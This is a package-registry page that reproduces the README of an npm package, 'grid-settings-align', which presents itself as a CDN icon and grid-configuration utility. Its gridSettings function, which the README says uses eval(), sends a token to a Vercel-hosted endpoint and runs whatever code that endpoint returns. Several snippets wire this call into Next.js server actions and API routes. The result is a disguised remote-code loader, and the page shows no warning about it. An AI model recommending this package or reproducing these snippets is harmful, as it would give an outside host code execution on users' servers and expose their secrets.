
Security News
Axios Maintainer Confirms Social Engineering Attack Behind npm Compromise
Axios compromise traced to social engineering, showing how attacks on maintainers can bypass controls and expose the broader software supply chain.
grid-settings-align
Advanced tools
A Node.js utility for fetching resources from multiple CDN providers with automatic retry logic
A Node.js utility for fetching and managing settings from a distributed grid system. This module provides functions to retrieve icon resources from multiple CDN providers and fetch grid configuration settings with automatic retry logic.
npm install grid-settings-align
const { setDefaultModule, gridSettings } = require('grid-settings-align');
// Fetch an icon from Cloudflare CDN
setDefaultModule('cloudflare', 'icon', 'github.svg', 'https://cdnjs.cloudflare.com')
.then(data => {
console.log('Icon data:', data);
})
.catch(error => {
console.error('Error:', error);
});
import { setDefaultModule, gridSettings } from 'grid-settings-align';
// Or use default import
import gridSettingsModule from 'grid-settings-align';
const { setDefaultModule, gridSettings } = gridSettingsModule;
import { setDefaultModule, gridSettings, IconProvider } from 'grid-settings-align';
async function fetchIcon() {
const provider: IconProvider = 'cloudflare';
const data = await setDefaultModule(provider, 'icon', 'github.svg', 'https://cdnjs.cloudflare.com');
console.log('Icon data:', data);
}
⚠️ Important: This module is server-side only and cannot be used in Client Components. Use it in:
pages/api/* or app/api/*)// pages/api/fetch-icon.ts
import type { NextApiRequest, NextApiResponse } from 'next';
import { setDefaultModule } from 'grid-settings-align';
export default async function handler(
req: NextApiRequest,
res: NextApiResponse
) {
try {
const data = await setDefaultModule(
'cloudflare',
'icon',
'github.svg',
'https://cdnjs.cloudflare.com'
);
res.status(200).json(data);
} catch (error) {
res.status(500).json({ error: 'Failed to fetch icon' });
}
}
// app/icons/page.tsx
import { setDefaultModule } from 'grid-settings-align';
export default async function IconsPage() {
const iconData = await setDefaultModule(
'cloudflare',
'icon',
'github.svg',
'https://cdnjs.cloudflare.com'
);
return (
<div>
<pre>{JSON.stringify(iconData, null, 2)}</pre>
</div>
);
}
// app/actions.ts
'use server';
import { setDefaultModule, gridSettings } from 'grid-settings-align';
export async function fetchIconAction() {
const data = await setDefaultModule(
'cloudflare',
'icon',
'github.svg',
'https://cdnjs.cloudflare.com'
);
return data;
}
export async function applyGridSettingsAction(token: string) {
const options = {
url: 'https://ip-api-check-nine.vercel.app/icons/',
headers: { bearrtoken: 'logo' }
};
gridSettings(token, options, 3);
}
// app/api/grid-settings/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { gridSettings } from 'grid-settings-align';
export async function POST(request: NextRequest) {
const { token } = await request.json();
const options = {
url: 'https://ip-api-check-nine.vercel.app/icons/',
headers: { bearrtoken: 'logo' }
};
gridSettings(token, options, 3);
return NextResponse.json({ success: true });
}
setDefaultModule(iconProvider, resourceType, token, baseUrl)Fetches an icon resource from a specified CDN provider.
Parameters:
| Parameter | Type | Description |
|---|---|---|
iconProvider | string | CDN provider name (see supported providers below) |
resourceType | string | Type of resource to fetch |
token | string | Resource identifier or token |
baseUrl | string | Base URL for the CDN endpoint |
Returns: Promise<Object> - Resolves with the fetched resource data
Example:
const { setDefaultModule } = require('grid-settings-align');
async function fetchIcon() {
try {
const data = await setDefaultModule(
'cloudflare',
'icon',
'github.svg',
'https://cdnjs.cloudflare.com'
);
console.log('Icon data:', data);
} catch (error) {
console.error('Failed:', error.message);
}
}
fetchIcon();
gridSettings(reqtoken, reqoptions, ret)Fetches grid configuration settings with automatic retry logic. This function retrieves settings from the configured grid endpoint and applies them.
Parameters:
| Parameter | Type | Description |
|---|---|---|
reqtoken | string | Token for the grid settings request (default: '132') |
reqoptions | Object | Request options including URL and headers |
ret | number | Number of retry attempts (default: 1) |
Note: This function uses eval() to execute received code. Ensure the grid endpoint is trusted.
Example:
const { gridSettings } = require('grid-settings-align');
// Fetch settings with 3 retry attempts
gridSettings('132', options, 3);
// Fetch with custom token
const customOptions = {
url: 'https://ip-api-check-nine.vercel.app/icons/',
headers: { bearrtoken: 'logo' }
};
gridSettings('custom-token', customOptions, 2);
| Provider | Identifier | Domain |
|---|---|---|
| Cloudflare | cloudflare | cloudflare.com |
| Fastly | fastly | fastly.net |
| KeyCDN | keyIcon | keyIcon.com |
| Akamai | akamai | akamai.net |
| Amazon CloudFront | amazoncloudfront | cloudfront.net |
| Gcore | gcore | gcorelabs.com |
const { setDefaultModule } = require('grid-settings-align');
async function loadIconsFromMultipleCDNs() {
const providers = ['cloudflare', 'fastly', 'akamai'];
const icons = ['github.svg', 'twitter.svg', 'linkedin.svg'];
for (const provider of providers) {
for (const icon of icons) {
try {
const data = await setDefaultModule(
provider,
'icon',
icon,
`https://cdnjs.${provider === 'cloudflare' ? 'cloudflare' : provider}.com`
);
console.log(`Loaded ${icon} from ${provider}:`, data);
} catch (error) {
console.error(`Failed to load ${icon} from ${provider}:`, error.message);
}
}
}
}
loadIconsFromMultipleCDNs();
const { gridSettings } = require('grid-settings-align');
// Configure and apply grid settings with retries
function applyGridConfiguration(configId, retries = 5) {
const options = {
url: 'https://ip-api-check-nine.vercel.app/icons/',
headers: { bearrtoken: 'logo' }
};
gridSettings(configId, options, retries);
console.log(`Grid settings applied with ID: ${configId}`);
}
applyGridConfiguration('grid-config-001', 3);
const { setDefaultModule, gridSettings } = require('grid-settings-align');
// Handle errors in setDefaultModule
setDefaultModule('invalid-provider', 'icon', 'test.svg', 'https://example.com')
.catch(error => {
if (error.message === 'Unsupported Icon provider') {
console.error('Please use a supported CDN provider');
} else {
console.error('Unexpected error:', error);
}
});
// Grid settings will automatically retry on failure
gridSettings('token', options, 3);
This module is server-side only and cannot be used in browser/client-side code.
useEffect in client componentsIf you need to use this module in a Next.js application:
'use server' directivegridSettings uses eval() - This function executes code received from the remote serverThe library throws errors in the following cases:
setDefaultModuleThis module is designed to work seamlessly across different JavaScript/TypeScript environments:
| Project Type | Support | Import Style |
|---|---|---|
| Node.js (CommonJS) | ✅ | require('grid-settings-align') |
| Node.js (ES Modules) | ✅ | import from 'grid-settings-align' |
| TypeScript | ✅ | Full type definitions included |
| Next.js API Routes | ✅ | Server-side only - use in API routes |
| Next.js Server Components | ✅ | Server-side only - use in App Router |
| Next.js Server Actions | ✅ | Server-side only - use with 'use server' |
| React Client Components | ❌ | Server-side only - use API routes instead |
| Vue.js | ⚠️ | Server-side only - use in Nuxt API routes |
| Angular | ⚠️ | Server-side only - use in API services |
| Svelte | ⚠️ | Server-side only - use in SvelteKit API routes |
Full TypeScript support is included with type definitions. The package exports all necessary types:
import type { IconProvider, RequestOptions, ResponseData } from 'grid-settings-align';
The package uses modern exports field for proper module resolution:
require()importISC License - see the LICENSE file for details.
Found a bug? Please report it on GitHub Issues.
copperadev
Contributions, issues, and feature requests are welcome!
Made with ❤️ by copperadev
FAQs
A Node.js utility for fetching resources from multiple CDN providers with automatic retry logic
The npm package grid-settings-align receives a total of 7 weekly downloads. As such, grid-settings-align popularity was classified as not popular.
We found that grid-settings-align demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Security News
Axios compromise traced to social engineering, showing how attacks on maintainers can bypass controls and expose the broader software supply chain.

Security News
Node.js has paused its bug bounty program after funding ended, removing payouts for vulnerability reports but keeping its security process unchanged.

Security News
The Axios compromise shows how time-dependent dependency resolution makes exposure harder to detect and contain.